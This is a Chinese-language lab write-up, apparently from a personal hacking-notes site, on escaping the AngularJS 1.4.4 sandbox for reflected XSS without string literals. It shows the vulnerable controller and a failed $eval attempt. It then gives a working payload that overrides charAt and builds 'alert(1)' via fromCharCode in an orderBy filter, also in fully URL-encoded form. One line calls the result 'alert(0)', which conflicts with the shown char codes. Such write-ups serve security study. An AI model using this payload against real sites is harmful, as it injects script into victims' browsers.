> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/web/xss/angularjs-sandbox-escape-without-strings.md).
# 不使用字符串的 AngularJS 沙箱逃逸
### 使用 AngularJS 沙箱逃逸且不含字符串的反射型 XSS
AngularJS 上的反射型 XSS **1.4.4** — 逃逸沙箱并运行 `alert(1)` 不使用 `$eval` 或字符串字面量。
**观察到的代码**
```javascript
angular.module('labApp', []).controller('vulnCtrl',function($scope, $parse) {
$scope.query = {};
var key = 'search';
$scope.query[key] = 'test';
$scope.value = $parse(key)($scope.query);
});
```
**尝试**
* 字符串测试 / $eval（不起作用）： / `{{'a'.constructor.prototype.charAt=[].join;$eval('x=1} } };alert(1)//');}}`
* 解析可以通过在查询字符串中注入以下内容来破坏： `&`:/ `&7+ 7` → `&7%2b7`
动态构建 `alert(1)` 通过 `toString().constructor.fromCharCode(...)` 并强制过滤器求值（`orderBy`):
{% code overflow="wrap" %}
```javascript
toString().constructor.prototype.charAt=[].join; [1,2]|orderBy:toString().constructor.fromCharCode(120,61,97,108,101,114,116,40,49,41)
```
{% endcode %}
" 此片段会破坏解析，并且在十六进制/ASCII 中会生成 `alert(0)` 字符串。
**载荷（已提供 URL 编码）**
{% code overflow="wrap" %}
```javascript
%74%6f%53%74%72%69%6e%67%28%29%2e%63%6f%6e%73%74%72%75%63%74%6f%72%2e%70%72%6f%74%6f%74%79%70%65%2e%63%68%61%72%41%74%3d%5b%5d%2e%6a%6f%69%6e%3b%20%5b%31%2c%32%5d%7c%6f%72%64%65%72%42%79%3a%74%6f%53%74%72%69%6e%67%28%29%2e%63%6f%6e%73%74%72%75%63%74%6f%72%2e%66%72%6f%6d%43%68%61%72%43%6f%64%65%28%31%32%30%2c%36%31%2c%39%37%2c%31%30%38%2c%31%30%31%2c%31%31%34%2c%31%31%36%2c%34%30%2c%34%39%2c%34%31%29
```
{% endcode %}
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